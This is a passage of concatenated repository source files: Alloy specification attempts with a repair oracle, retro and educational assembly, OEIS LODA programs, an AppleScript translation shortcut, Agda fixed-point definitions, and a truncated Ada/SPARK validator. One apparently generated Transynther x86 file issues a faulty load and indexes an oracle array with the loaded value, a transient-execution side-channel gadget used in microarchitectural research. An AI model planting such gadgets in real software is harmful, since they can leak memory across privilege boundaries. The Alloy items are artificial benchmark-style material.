u.profile) and (w1.source = w2.source)) implies (w1.ids != w2.ids) --incorrect 8 -- all u:User, w:Work, w1:Work | w.source = w1.source && w1 in u.profile && w in u.profile implies w.ids != w1.ids --incorrect 9 -- all w1, w2:Work, u:User | ((w1 in u.profile and w2 in u.profile) and no (w1.ids & w2.ids) and (w1.source = w2.source)) implies (w1=w2) --incorrect 10 -- lone Work<:(User.profile) --incorrect 11 -- all u:User, w1, w2:Work | w1 in u.profile and w2 in u.profile implies w1.ids not in w2.ids and w2.ids not in w1.ids --incorrect 12 -- all w1, w2:Work, u:User | ((w1 in u.profile and w2 in u.profile) and (w1.^ids = w2.ids)) implies w1=w2 --incorrect 13 -- all u: User, w1, w2: u.profile | w1.ids != w2.ids --incorrect 14 -- all w1, w2:Work, u:User, i:Id | ((w1 in u.profile and w2 in u.profile) and (w1.source = w2.source)) implies (w1.ids != w2.ids) --incorrect 15 -- all w:Work | lone w.ids --incorrect 16 -- all w1, w2:Work, u:User | ((w1 in u.profile and w2 in u.profile) and (w1.source = w2.source)) implies (w1.ids not in w2.ids and w2.ids not in w1.ids) --incorrect 17 -- all w1, w2:Work, u:User | ((w1 in u.profile and w2 in u.profile) and (w1.ids = w2.ids) and (w1.source = w2.source)) implies w1=w2 --incorrect 18 -- all w1, w2:Work, u:User | (w1 in u.profile and w2 in u.profile) implies (w1.ids not in w2.ids and w2.ids not in w1.ids) --incorrect 19 -- all w1, w2:Work, u:User | ((w1 in u.profile and w2 in u.profile) and (w1.ids = w2.*ids) and (w1.source = w2.source)) implies w1=w2 --incorrect 20 -- all w1, w2:Work, u:User | ((w1 in u.profile and w2 in u.profile) and (w1.source = w2.source)) implies (w1.ids != w2.ids) --incorrect 21 -- all w1, w2:Work, u:User | ((w1 in u.profile and w2 in u.profile) and (w1.source = w2.source)) implies no (w1.ids & w2.ids) --incorrect 22 -- Work<:ids != Work<:ids --incorrect 23 -- all w1, w2:Work, u:User | (w1 in u.profile and w2 in u.profile) implies w1.ids!=w2.ids --incorrect 24 -- all w1, w2:Work, u:User | (w1 in u.profile and w2 in u.profile) implies no (w1.ids & w2.ids) --incorrect 25 -- all w:Work, w1:Work | w in User.profile && w1 in User.profile implies no (w.ids & w1.ids) --incorrect 26 -- all w1, w2:Work, u:User | (w1 in u.profile and w2 in u.profile) and (w1.source=w2.source) implies no (w1.ids & w2.ids) --incorrect 27 -- all x, y : Work | x.ids != y.ids --incorrect 28 -- all w:Work, w1:Work | (w in User.profile && w1 in User.profile) implies no (w.ids & w1.ids) --incorrect 29 -- all w1, w2 : Work | some u : User | w1 != w2 and (w1 + w2) in u.profile implies no w1.ids & w2.ids --incorrect 30 -- all w1, w2 : Work | some u : User | w1 != w2 and (w1 + w2) in u.profile and (w1.source = w2.source) implies no w1.ids & w2.ids --incorrect 31 -- all w1,w2:Work | w1.ids = w2.ids implies w1 = w2 --incorrect 32 -- all w1, w2:Work, u:User | ((w1 in u.profile and w2 in u.profile) and (w1.^ids = w2.^ids)) implies w1=w2 --incorrect 33 -- Work<:ids != Work<:ids --incorrect 34 -- all w1, w2:Work, u:User | ((w1 in u.profile and w2 in u.profile) and (w1.ids = w2.ids)) implies w1=w2 --incorrect 35 -- all w1, w2 : Work | some u : User, s : Source | w1 != w2 and (w1 + w2) in u.profile and (w1.source = w2.source) implies no w1.ids & w2.ids --incorrect 36 -- all u: User, w1, w2: u.profile | all i: w1.ids | i not in w2.ids --incorrect 37 -- all x, y : Work | x<:ids != y<:ids --incorrect 38 -- all u:User, w:Work, w1:Work | w1 in u.profile && w in u.profile implies w.ids != w1.ids --incorrect 39 -- all w:(User.profile) | lone w.ids --incorrect 40 -- ~ids.ids in iden --incorrect 41 -- all w1, w2:Work, u:User | ((w1 in u.profile and w2 in u.profile) and (w1.*ids = w2.*ids) and (w1.source = w2.source)) implies w1=w2 --incorrect 42 -- Work<:ids != Work<:ids --incorrect 43 -- all w1, w2:Work, u:User | ((w1 in u.profile and w2 in u.profile) and (w1.ids = w2.ids)) implies w1=w2 --incorrect 44 -- all x, y : Work | no x.ids & y.ids --incorrect 45 -- all w1, w2:Work, u:User | ((w1 in u.profile and w2 in u.profile) and (w1.source = w2.source)) implies no (w1.ids & w2.ids) --incorrect 46 -- all u: User, w1, w2: u.profile, i: w1.ids | i not in w2.ids --incorrect 47 -- all w1, w2:Work, u:User | ((w1 in u.profile and w2 in u.profile) and (w1.ids = w2.ids) and (w1.source = w2.source)) implies w1=w2 --incorrect 48 -- all w1, w2:Work, u:User | ((w1 in u.profile and w2 in u.profile) and (w1.source = w2.source)) implies (w1.ids != w2.ids) --incorrect 49 -- all w1, w2:Work, u:User, i:Id | ((w1 in u.profile and w2 in u.profile) and (w1.source = w2.source)) implies (w1.ids != w2.ids) --incorrect 50 -- all u:User , s:Source| lone (u.profile.source & s).ids --incorrect 51 } /*======== IFF PERFECT ORACLE ===============*/ pred inv1_OK { all u:User | u.visible in u.profile --correct } assert inv1_Repaired { inv1[] iff inv1_OK[] } --------- pred inv2_OK { all u:User, w:Work | w in u.profile implies (u in w.source or some i:Institution | i in w.source) --correct } assert inv2_Repaired { inv2[] iff inv2_OK[] } -------- pred inv3_OK { all w1, w2 : Work, u : User | w1 != w2 and (w1 + w2) in u.profile and (w1.source = w2.source) implies no w1.ids & w2.ids --correct } assert inv3_Repaired { inv3[] iff inv3_OK[] } -- PerfectOracleCommands check inv1_Repaired expect 0 check inv2_Repaired expect 0 check inv3_Repaired expect 0
libsrc/_DEVELOPMENT/arch/sms/vdp/z80/__sms_vdp_reg_array.asm
jpoikela/z88dk
640
14663
INCLUDE "config_private.inc" SECTION rodata_arch PUBLIC __sms_vdp_reg_array __sms_vdp_reg_array: defb __SMS_VDP_R0 ; /* reg0: Mode 4 */ defb __SMS_VDP_R1 ; /* reg1: display OFF - frame int (vblank) ON */ defb ((__SMSLIB_PNTADDRESS & 0x3800) >> 10) + 0xf1 ; /* reg2: PNT at 0x3800 */ defb 0xFF ; /* reg3: no effect (when in mode 4) */ defb 0xFF ; /* reg4: no effect (when in mode 4) */ defb ((__SMSLIB_SATADDRESS & 0x3f00) >> 7) + 0x81 ; /* reg5: SAT at 0x3F00 */ defb ((__SMS_VRAM_SPRITE_PATTERN_BASE_ADDRESS & 0x2000) >> 11) + 0xfb ; /* reg6: Sprite tiles at 0x2000 */ defb 0x00 ; /* reg7: backdrop color (zero) */ defb 0x00 ; /* reg8: scroll X (zero) */ defb 0x00 ; /* reg9: scroll Y (zero) */ defb 0xFF ; /* regA: line interrupt count (offscreen) */
ucle/core/tests/fnsim/frisc/isa/test_jra.asm
mcavrag/UCLE-ide
0
84004
<reponame>mcavrag/UCLE-ide ORG 0 JR SKIP MOVE 1, R0 SKIP ; assert R0 == 0 MOVE 5, SP C1 CMP SP, 4 JR_ULT T1 F1 MOVE 0, R1 JR C2 T1 MOVE 1, R1 ; assert R1 == 0 C2 CMP SP, 6 JP_ULT T2 F2 MOVE 0, R2 JR C3 T2 MOVE 1, R2 ; assert R2 == 1 C3 CMP SP, 5 JR_EQ T3 F3 MOVE 0, R3 JR END T3 MOVE 1, R3 ; assert R3 == 1 END HALT
programs/oeis/063/A063489.asm
neoneye/loda
22
14379
; A063489: a(n) = (2*n-1)*(5*n^2-5*n+6)/6. ; 1,8,30,77,159,286,468,715,1037,1444,1946,2553,3275,4122,5104,6231,7513,8960,10582,12389,14391,16598,19020,21667,24549,27676,31058,34705,38627,42834,47336,52143,57265,62712,68494,74621,81103,87950,95172,102779,110781,119188,128010,137257,146939,157066,167648,178695,190217,202224,214726,227733,241255,255302,269884,285011,300693,316940,333762,351169,369171,387778,407000,426847,447329,468456,490238,512685,535807,559614,584116,609323,635245,661892,689274,717401,746283,775930,806352,837559,869561,902368,935990,970437,1005719,1041846,1078828,1116675,1155397,1195004,1235506,1276913,1319235,1362482,1406664,1451791,1497873,1544920,1592942,1641949 mov $2,$0 add $0,1 mul $0,2 bin $0,3 mul $0,5 lpb $2 add $0,8 sub $2,1 lpe div $0,4 add $0,1
libsrc/fcntl/sprinter/fdgetpos.asm
meesokim/z88dk
0
88695
<reponame>meesokim/z88dk ; Sprinter fcntl library ; ; $Id: fdgetpos.asm,v 1.2 2015/01/19 01:32:43 pauloscustodio Exp $ ; PUBLIC fdgetpos ;int fgetpos(int fd, long *dump) ; ;Dumps in dump the file position, and returns 0 if all went well .fdgetpos pop bc pop de ;dump pop hl ;fd push hl push de push bc push de ;save it for later ld a,l ld hl,0 ld ix,0 ld b,1 ;from current position ld c,$15 ;MOVE_FP rst $10 pop de ;where to store it jr nc,fdgetpos_ret ld hl,-1 ret .fdgetpos_ret ex de,hl ld (hl),e inc hl ld (hl),d inc hl push ix pop de ld (hl),e inc hl ld (hl),d ld hl,0 ;all ok ret
oeis/287/A287470.asm
neoneye/loda-programs
11
17815
<reponame>neoneye/loda-programs ; A287470: Decimal representation of the diagonal from the origin to the corner of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 276", based on the 5-celled von Neumann neighborhood. ; 1,0,6,0,28,0,120,0,496,0,2016,0,8128,0,32640,0,130816,0,523776,0,2096128,0,8386560,0,33550336,0,134209536,0,536854528,0,2147450880,0,8589869056,0,34359607296,0,137438691328,0,549755289600,0,2199022206976,0,8796090925056,0,35184367894528,0,140737479966720,0,562949936644096,0,2251799780130816,0,9007199187632128,0,36028796884746240,0,144115187807420416,0,576460751766552576,0,2305843008139952128,0,9223372034707292160,0,36893488143124135936,0,147573952581086478336,0,590295810341525782528,0 sub $1,$0 add $0,2 div $0,2 gcd $1,2 pow $1,$0 bin $1,2 mov $0,$1
source.applescript
danhph/mac-translate-shortcut
0
536
-- AppleScript to translate selected text into Vietnamese using Google Translate (only Safari or Google Chrome) -- Made by <NAME> (<EMAIL>) at Jan 8, 2018 -- Updated at Jul 21, 2021: made it works with macOS 11.4 on run argv -- SETTINGS set googleTranslate to "https://translate.google.com" set desLang to "vi" set defaultBrowser to null -- set null to get default browser -- SCRIPT STARTS if defaultBrowser is equal to null then set defaultBrowser to do shell script "defaults read \\ ~/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure \\ | awk -F'\"' '/http;/{print window[(NR)-1]}{window[NR]=$2}'" if defaultBrowser contains "chrome" then set defaultBrowser to "Google Chrome" else set defaultBrowser to "Safari" end if end if set desURL to googleTranslate & "/#auto/" & desLang & "/" & item 1 of argv if defaultBrowser is equal to "Safari" then tell application "Safari" activate set windowCount to count of window -- Open new tab if Safari is not opened if windowCount is equal to 0 then make new document else -- Switch Google Translate tab if it is opened -- Repeat for Every Window repeat with x from 1 to windowCount set tabCount to number of tabs in window x -- Repeat for Every Tab in Current Window repeat with y from 1 to tabCount -- Get Tab Name & URL set tabURL to URL of tab y of window x set theURL to tabURL as string -- Check if Google Translate is opened if theURL contains "translate.google" then set URL of tab y of window x to desURL tell window x to set current tab to tab y return end if end repeat end repeat end if tell front window set current tab to (make new tab with properties {URL:desURL}) return end tell end tell end if if defaultBrowser is equal to "Google Chrome" then tell application "Google Chrome" activate set windowCount to count of window -- Open new tab if Chrome is not opened if windowCount is equal to 0 then make new window else -- Switch Google Translate tab if it is opened -- Repeat for Every Window repeat with x from 1 to windowCount set tabCount to number of tabs in window x -- Repeat for Every Tab in Current Window repeat with y from 1 to tabCount -- Get Tab Name & URL set tabURL to URL of tab y of window x set theURL to tabURL as string -- Check if Google Translate is opened if theURL contains "translate.google" then set URL of tab y of window x to desURL return end if end repeat end repeat end if tell front window make new tab with properties {URL:desURL} return end tell end tell end if end run
notes/fixed-points/Functors.agda
asr/fotc
11
4686
<reponame>asr/fotc {-# OPTIONS --exact-split #-} {-# OPTIONS --no-sized-types #-} {-# OPTIONS --no-universe-polymorphism #-} {-# OPTIONS --without-K #-} -- Based on (Vene, 2000). module Functors where infixr 1 _+_ infixr 2 _×_ data Bool : Set where false true : Bool data _+_ (A B : Set) : Set where inl : A → A + B inr : B → A + B data _×_ (A B : Set) : Set where _,_ : A → B → A × B -- The terminal object. data ⊤ : Set where <> : ⊤ postulate -- The least fixed-point. -- Haskell definitions: -- data Mu f = In (f (Mu f)) -- unIn :: Mu f → f (Mu f) -- unIn (In x) = x μ : (Set → Set) → Set In : {F : Set → Set} → F (μ F) → μ F unIn : {F : Set → Set} → μ F → F (μ F) postulate -- The greatest fixed-point. -- Haskell definitions: -- data Nu f = Wrap (f (Nu f)) -- out :: Nu f → (f (Nu f)) -- out (Wrap x) = x ν : (Set → Set) → Set Wrap : {F : Set → Set} → F (ν F) → ν F out : {F : Set → Set} → ν F → F (ν F) ------------------------------------------------------------------------------ -- Functors -- The identity functor (the functor for the empty and unit types). IdF : Set → Set IdF X = X -- The (co)natural numbers functor. NatF : Set → Set NatF X = ⊤ + X -- The (co)list functor. ListF : Set → Set → Set ListF A X = ⊤ + A × X -- The stream functor. StreamF : Set → Set → Set StreamF A X = A × X ------------------------------------------------------------------------------ -- Types as least fixed-points -- The empty type is a least fixed-point. ⊥ : Set ⊥ = μ IdF -- The natural numbers type is a least fixed-point. N : Set N = μ NatF -- The data constructors for the natural numbers. zero : N zero = In (inl <>) succ : N → N succ n = In (inr n) -- The list type is a least fixed-point. List : Set → Set List A = μ (ListF A) -- The data constructors for List. nil : {A : Set} → List A nil = In (inl <>) cons : {A : Set} → A → List A → List A cons x xs = In (inr (x , xs)) ------------------------------------------------------------------------------ -- Types as greatest fixed-points -- The unit type is a greatest fixed-point. Unit : Set Unit = ν IdF -- Non-structural recursion -- unit : Nu IdF -- unit = Wrap IdF {!unit!} -- The conat type is a greatest fixed-point. Conat : Set Conat = ν NatF zeroC : Conat zeroC = Wrap (inl <>) succC : Conat → Conat succC cn = Wrap (inr cn) -- Non-structural recursion for the definition of ∞C. -- ∞C : Conat -- ∞C = succC {!∞C!} -- The pred function is the conat destructor. pred : Conat → ⊤ + Conat pred cn with out cn ... | inl _ = inl <> ... | inr x = inr x -- The colist type is a greatest fixed-point. Colist : Set → Set Colist A = ν (ListF A) -- The colist data constructors. nilCL : {A : Set} → Colist A nilCL = Wrap (inl <>) consCL : {A : Set} → A → Colist A → Colist A consCL x xs = Wrap (inr (x , xs)) -- The colist destructors. nullCL : {A : Set} → Colist A → Bool nullCL xs with out xs ... | inl _ = true ... | inr _ = false -- headCL : {A : Set} → Colist A → A -- headCL {A} xs with out (ListF A) xs -- ... | inl t = -- Impossible -- ... | inr (x , _) = x -- tailCL : {A : Set} → Colist A → Colist A -- tailCL {A} xs with out (ListF A) xs -- ... | inl t = -- Impossible -- ... | inr (_ , xs') = xs' -- The stream type is a greatest fixed-point. Stream : Set → Set Stream A = ν (StreamF A) -- The stream data constructor. consS : {A : Set} → A → Stream A → Stream A consS x xs = Wrap (x , xs) -- The stream destructors. headS : {A : Set} → Stream A → A headS xs with out xs ... | x , _ = x tailS : {A : Set} → Stream A → Stream A tailS xs with out xs ... | _ , xs' = xs' -- From (Leclerc and Paulin-Mohring 1994, p. 195). -- -- TODO (07 January 2014): Agda doesn't accept the definition of -- Stream-build. {-# TERMINATING #-} Stream-build : {A X : Set} → (X → StreamF A X) → X → Stream A Stream-build h x with h x ... | a , x' = Wrap (a , Stream-build h x') -- From (Giménez, 1995, p. 40). -- -- TODO (07 January 2014): Agda doesn't accept the definition of -- Stream-corec. {-# TERMINATING #-} Stream-corec : {A X : Set} → (X → (A × (Stream A + X))) → X → Stream A Stream-corec h x with h x ... | a , inl xs = Wrap (a , xs) ... | a , inr x' = Wrap (a , (Stream-corec h x')) ------------------------------------------------------------------------------ -- References -- -- <NAME>. (1995). Codifying guarded definitions with recursive -- schemes. In: Types for Proofs and Programs (TYPES ’94). Ed. by -- <NAME>., <NAME>. and <NAME>. Vol. 996. LNCS. Springer, -- pp. 39–59. -- -- <NAME>. and <NAME>. (1994). Programming with Streams -- in Coq. A case study : the Sieve of Eratosthenes. In: Types for -- Proofs and Programs (TYPES ’93). Ed. by <NAME>. and Nipkow, -- T. Vol. 806. LNCS. Springer, pp. 191–212. -- -- <NAME> (2000). Categorical programming with inductive and -- coinductive types. PhD thesis. Faculty of Mathematics: University -- of Tartu.
Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0.log_21829_936.asm
ljhsiun2/medusa
9
20731
<filename>Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0.log_21829_936.asm .global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x10ade, %rcx nop nop nop lfence mov $0x6162636465666768, %rsi movq %rsi, %xmm1 vmovups %ymm1, (%rcx) nop nop inc %rsi lea addresses_normal_ht+0xb70e, %rax nop nop nop nop nop add $53789, %rbp movb $0x61, (%rax) nop sub $64841, %r14 lea addresses_WC_ht+0x1fae, %r14 nop nop nop nop nop and %rbx, %rbx movw $0x6162, (%r14) nop nop nop nop nop add %r12, %r12 lea addresses_normal_ht+0x15eae, %rbx clflush (%rbx) nop sub $54026, %rcx movl $0x61626364, (%rbx) cmp %r12, %r12 lea addresses_D_ht+0xa5a8, %rsi lea addresses_UC_ht+0xbe76, %rdi clflush (%rdi) nop nop nop nop and %rax, %rax mov $66, %rcx rep movsw inc %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r9 push %rax push %rdi push %rdx // Store lea addresses_RW+0x760e, %r14 nop nop nop inc %rax mov $0x5152535455565758, %r10 movq %r10, %xmm3 movups %xmm3, (%r14) nop nop nop nop dec %rdx // Faulty Load lea addresses_US+0x1f70e, %r10 nop nop add %rdi, %rdi mov (%r10), %dx lea oracles, %rdi and $0xff, %rdx shlq $12, %rdx mov (%rdi,%rdx,1), %rdx pop %rdx pop %rdi pop %rax pop %r9 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_RW', 'AVXalign': False, 'size': 16}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4}} {'src': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_UC_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
oeis/095/A095375.asm
neoneye/loda-programs
11
247320
; A095375: Total number of 1's in the binary expansions of the first n primes: summatory A014499. ; Submitted by <NAME> ; 1,3,5,8,11,14,16,19,23,27,32,35,38,42,47,51,56,61,64,68,71,76,80,84,87,91,96,101,106,110,117,120,123,127,131,136,141,145,150,155,160,165,172,175,179,184,189,196,201,206,211,218,223,230,232,236,240,245,249,253,258,262,267,273,278,284,289,293,299,305,309,315,322,328,335,343,347,352,356,361,366,371,378,383,390,397,401,406,412,419,425,433,440,447,454,462,470,473,477,482 mov $2,$0 mov $3,$0 lpb $2 mov $0,$3 sub $2,1 sub $0,$2 seq $0,14499 ; Number of 1's in binary representation of n-th prime. add $1,$0 lpe mov $0,$1 add $0,1
oeis/020/A020811.asm
neoneye/loda-programs
11
161767
<gh_stars>10-100 ; A020811: Decimal expansion of 1/sqrt(54). ; Submitted by <NAME>(s1.) ; 1,3,6,0,8,2,7,6,3,4,8,7,9,5,4,3,3,8,7,8,8,7,3,8,0,0,4,1,5,0,3,2,7,2,9,9,5,5,3,6,6,3,7,4,8,9,2,5,3,7,0,5,6,2,6,9,0,7,0,5,1,4,2,6,2,5,0,5,3,3,5,4,3,0,3,1,8,4,1,6,8,1,4,1,1,0,3,3,0,1,8,3,9,1,4,6,6,7,9,7 add $0,1 mov $1,2 mov $2,1 mov $3,$0 add $3,8 mov $4,$0 mul $4,2 mov $7,10 pow $7,$4 mov $9,10 lpb $3 mov $4,$2 pow $4,2 mul $4,54 mov $5,$1 pow $5,2 add $4,$5 mov $6,$1 mov $1,$4 mul $6,$2 mul $6,2 mov $2,$6 mov $8,$4 div $8,$7 max $8,2 div $1,$8 div $2,$8 sub $3,2 lpe mov $3,$9 pow $3,$0 div $2,$3 mov $0,$2 mod $0,10
src/ada/src/services/arv/automation_request_validator.adb
manthonyaiello/OpenUxAS
0
19949
<reponame>manthonyaiello/OpenUxAS with Ada.Strings.Unbounded; use Ada.Strings.Unbounded; with AVTAS.LMCP.Types; with UxAS.Comms.LMCP_Net_Client; use UxAS.Comms.LMCP_Net_Client; package body Automation_Request_Validator with SPARK_Mode is ----------------------- -- Local Subprograms -- ----------------------- procedure Check_Required_Entity_Configurations (Entity_Ids : Int64_Seq; Configurations : Int64_Set; States : Int64_Set; Planning_States : PlanningState_Seq; ReasonForFailure : in out Unbounded_String; IsReady : in out Boolean) with Post => IsReady = (IsReady'Old and Check_For_Required_Entity_Configurations (Entity_Ids, Configurations, States, Planning_States)); procedure Check_Required_Operating_Region_And_Keepin_Keepout_Zones (Operating_Region : Int64; Operating_Regions : Operating_Region_Map; KeepIn_Zones_Ids : Int64_Set; KeepOut_Zones_Ids : Int64_Set; ReasonForFailure : in out Unbounded_String; IsReady : in out Boolean) with Post => IsReady = (IsReady'Old and Check_For_Required_Operating_Region_And_Keepin_Keepout_Zones (Operating_Region, Operating_Regions, KeepIn_Zones_Ids, KeepOut_Zones_Ids)); procedure Check_Required_Tasks_And_Task_Requirements (Available_Tasks : Task_Map; Available_Area_of_Interest_Ids : Int64_Set; Available_Line_of_Interest_Ids : Int64_Set; Available_Point_of_Interest_Ids : Int64_Set; TaskIds : Int64_Seq; ReasonForFailure : in out Unbounded_String; IsReady : in out Boolean) with Post => IsReady = (IsReady'Old and Check_For_Required_Tasks_And_Task_Requirements (Available_Tasks, Available_Area_of_Interest_Ids, Available_Line_of_Interest_Ids, Available_Point_of_Interest_Ids, TaskIds)); procedure Get_Unique_Request_Id (Val : out Int64); procedure Send_Next_Request (Mailbox : in out Automation_Request_Validator_Mailbox; Pending_Requests : UniqueAutomationRequest_Ref_Deque); procedure Send_Response (Mailbox : in out Automation_Request_Validator_Mailbox; Sandbox : Request_Details_Map; Response : UniqueAutomationResponse); ------------------------------------------- -- Check_Automation_Request_Requirements -- ------------------------------------------- procedure Check_Automation_Request_Requirements (Config : Automation_Request_Validator_Configuration_Data; Sandbox : in out Request_Details_Map; Mailbox : in out Automation_Request_Validator_Mailbox; Request : UniqueAutomationRequest; IsReady : out Boolean) is ReasonForFailure : Unbounded_String := To_Unbounded_String ("Automation Request ID[" & Int64'Image (Request.RequestID) & "] Not Ready ::"); begin IsReady := True; Check_Required_Entity_Configurations (Entity_Ids => Request.EntityList, Configurations => Config.Available_Configuration_Entity_Ids, States => Config.Available_State_Entity_Ids, Planning_States => Request.PlanningStates, ReasonForFailure => ReasonForFailure, IsReady => IsReady); Check_Required_Operating_Region_And_Keepin_Keepout_Zones (Operating_Region => Request.OperatingRegion, Operating_Regions => Config.Available_Operating_Regions, KeepIn_Zones_Ids => Config.Available_KeepIn_Zones_Ids, KeepOut_Zones_Ids => Config.Available_KeepOut_Zones_Ids, ReasonForFailure => ReasonForFailure, IsReady => IsReady); Check_Required_Tasks_And_Task_Requirements (Available_Tasks => Config.Available_Tasks, Available_Area_of_Interest_Ids => Config.Available_Area_of_Interest_Ids, Available_Line_of_Interest_Ids => Config.Available_Line_of_Interest_Ids, Available_Point_of_Interest_Ids => Config.Available_Point_of_Interest_Ids, TaskIds => Request.TaskList, ReasonForFailure => ReasonForFailure, IsReady => IsReady); if not IsReady then declare KVP : constant KeyValuePair := (Key => To_Unbounded_String ("RequestValidator"), Value => ReasonForFailure); errResponse : UniqueAutomationResponse; begin errResponse.ResponseID := Request.RequestID; errResponse.Info := Add (errResponse.Info, KVP); Send_Response (Mailbox, Sandbox, errResponse); Delete (Sandbox, Request.RequestID); end; end if; end Check_Automation_Request_Requirements; ------------------------------------------ -- Check_Required_Entity_Configurations -- ------------------------------------------ procedure Check_Required_Entity_Configurations (Entity_Ids : Int64_Seq; Configurations : Int64_Set; States : Int64_Set; Planning_States : PlanningState_Seq; ReasonForFailure : in out Unbounded_String; IsReady : in out Boolean) is begin if Length (Entity_Ids) /= 0 then if not Is_Empty (Configurations) then if Length (Entity_Ids) /= 0 then for I in 1 .. Last (Entity_Ids) loop declare Id : constant Int64 := Get (Entity_Ids, I); begin if not Contains (Configurations, Id) then Append_To_Msg (Msg => ReasonForFailure, Tail => String'("- EntityConfiguration for Entity Id[" & Int64'Image (Id) & "] not available.")); IsReady := False; end if; pragma Loop_Invariant (IsReady = (IsReady'Loop_Entry and (for all K in 1 .. I => Contains (Configurations, Get (Entity_Ids, K))))); end; end loop; end if; else Append_To_Msg (Msg => ReasonForFailure, Tail => "- No EntityConfigurations available."); IsReady := False; end if; -- check for required entity states, if none are required, make sure there is at least one with matching configuration if not Is_Empty (States) then for I in 1 .. Last (Entity_Ids) loop pragma Loop_Invariant (IsReady = (IsReady'Loop_Entry and then ((for all K in 1 .. I - 1 => Contains (States, Get (Entity_Ids, K)) or (for some Planning_State of Planning_States => Planning_State.EntityID = Get (Entity_Ids, 